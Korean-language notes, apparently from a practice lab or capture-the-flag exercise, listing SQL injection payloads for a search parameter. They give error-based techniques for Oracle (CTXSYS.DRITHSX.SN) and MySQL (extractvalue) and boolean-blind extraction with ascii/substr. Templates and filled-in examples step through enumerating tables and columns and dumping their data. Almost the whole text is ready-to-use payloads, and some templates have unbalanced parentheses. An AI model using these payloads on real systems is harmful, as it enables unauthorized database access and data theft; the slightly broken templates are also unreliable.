유니온은 안되는데 사용자 입력값에 따른 DB에러가 웹페이지에 상세하게 나올 경우
select count(*) from user_tables; 이용해서 테이블 수 추출
[검색어]%' and 1=CTXSYS.DRITHSX.SN(user, 공격 쿼리) and '1%'='1
and 1=CTXSYS.DRITHSX.SN(user, (select count(table_name) from user_tables)) and '1%'='1
[검색어]%' and
1=CTXSYS.DRITHSX.SN(user, (select table_name from (공격 쿼리)) and '1%'='1
어려워%' and 1=CTXSYS.DRITHSX.SN(user, (select table_name from (select table_name, rownum as ln from user_tables) where ln = 1)) and '1%'='1
select count(column_name) from user_tab_columns where table_name = [착취한 테이블명]
[검색어]%' and 1=CTXSYS.DRITHSX.SN(user, (공격쿼리 )) and '1%'='1
어려워%' and 1=CTXSYS.DRITHSX.SN(user, (select count(column_name) from user_tab_columns where table_name = 'ANSWER')) and '1%'='1
[검색어]%' and 1=CTXSYS.DRITHSX.SN(user, (공격쿼리 )) and '1%'='1
어려워%' and 1=CTXSYS.DRITHSX.SN(user, (select column_name from (select column_name, rownum as ln from user_tab_columns where table_name = 'ANSWER') where ln = 1)) and '1%'='1
select count([탈취한 컬럼 이름]) from [탈취한 테이블명]
[검색어]%' and 1=CTXSYS.DRITHSX.SN(user, (공격쿼리 )) and '1%'='1
어려워%' and 1=CTXSYS.DRITHSX.SN(user, (select count(ANSWER_COLUMN) from ANSWER)) and '1%'='1
select [탈취한 컬럼 이름] from [탈취한 테이블명]
[검색어]%' and 1=CTXSYS.DRITHSX.SN(user, (공격쿼리 )) and '1%'='1
어려워%' and 1=CTXSYS.DRITHSX.SN(user, ( select ANSWER_COLUMN from ANSWER)) and '1%'='1
select count(table_name) from information_schema.tables where table_schema=database()))
[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (공격쿼리) and '1%'='1%
ccc%' and 1=extractvalue(rand(), concat(0x3a, (select count(table_name) from information_schema.tables where table_schema=database()))) and '1%'='1%
[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (공격 쿼리) and '1%'='1%
ccc%' and 1=extractvalue(rand(), concat(0x3a, (select table_name from information_schema.tables where table_schema=database() limit 1 offset 1))) and '1%'='1%
select count(column_name) from information_schema.columns where table_name = [착취한 테이블명]))
[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (공격쿼리) and '1%'='1%
ccc%' and 1=extractvalue(rand(), concat(0x3a, (select count(column_name) from information_schema.columns where table_name = 'eqst_answer'))) and '1%'='1%
[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (공격쿼리) and '1%'='1%
ccc%' and 1=extractvalue(rand(), concat(0x3a, (select column_name from information_schema.columns where table_name = 'answer'))) and '1%'='1%
select count([탈취한 컬럼 이름]) from [탈취한 테이블명]
[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (검색어) and '1%'='1%
ccc%' and 1=extractvalue(rand(), concat(0x3a,
(select count(answer_column)
from eqst_answer))) and '1%'='1%
select [탈취한 컬럼 이름] from [탈취한 테이블명]
[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (검색어) and '1%'='1%
ccc%' and 1=extractvalue(rand(), concat(0x3a, (select answer_column
from eqst_answer))) and '1%'='1%
TRUE(참) 인 쿼리문과 FALSE(거짓) 인 쿼리문 삽입 시 반홛되는 데이터를 비교하여 정보를 추출하는 공격
select count(column_name) from user_tab_columns
where table_name = [탈취한 테이블명]
[검색어]%' and (select count(column_name) from user_tab_columns where table_name = [탈취한 테이블명]) > [컬럼수 (0~ 탈취할 컬럼수까지)] and '1%'='1
qqqq%' and (select count(column_name) from user_tab_columns where table_name = 'ANSWER') > 4 and '1%'='1
select length(column_name) from (select column_name, rownum as ln from user_tab_columns where table_name = [탈취한 테이블 이름]) where ln = [1 ~ 탈취한 컬럼수까지]
[검색어]%' and (select length(column_name) from (select column_name, rownum as ln from user_tab_columns where table_name = [탈취한 테이블 이름]) where ln = [1 ~ 탈취한 컬럼수까지]) > [탈취할 컬럼의 길이] and '1%'='1
qqq%' and (select length(column_name) from (select column_name, rownum as ln from user_tab_columns where table_name = 'ANSWER') where ln = 1) > 7 and '1%'='1
select ascii(substr([탈취한 테이블명],[1 ~ 탈취한 컬럼 글자수],1)) from [탈취한 테이블명] or [dual]
[검색어]%' and (select ascii(substr([탈취한 테이블명],[1 ~ 탈취한 컬럼 글자수],1)) from [탈취한 테이블명] or [dual]) > [탈취한 아스키값] and '1%'='1
qqq%' and (select ascii(substr(answer,1,1)) from answer) > 100 and '1%'='1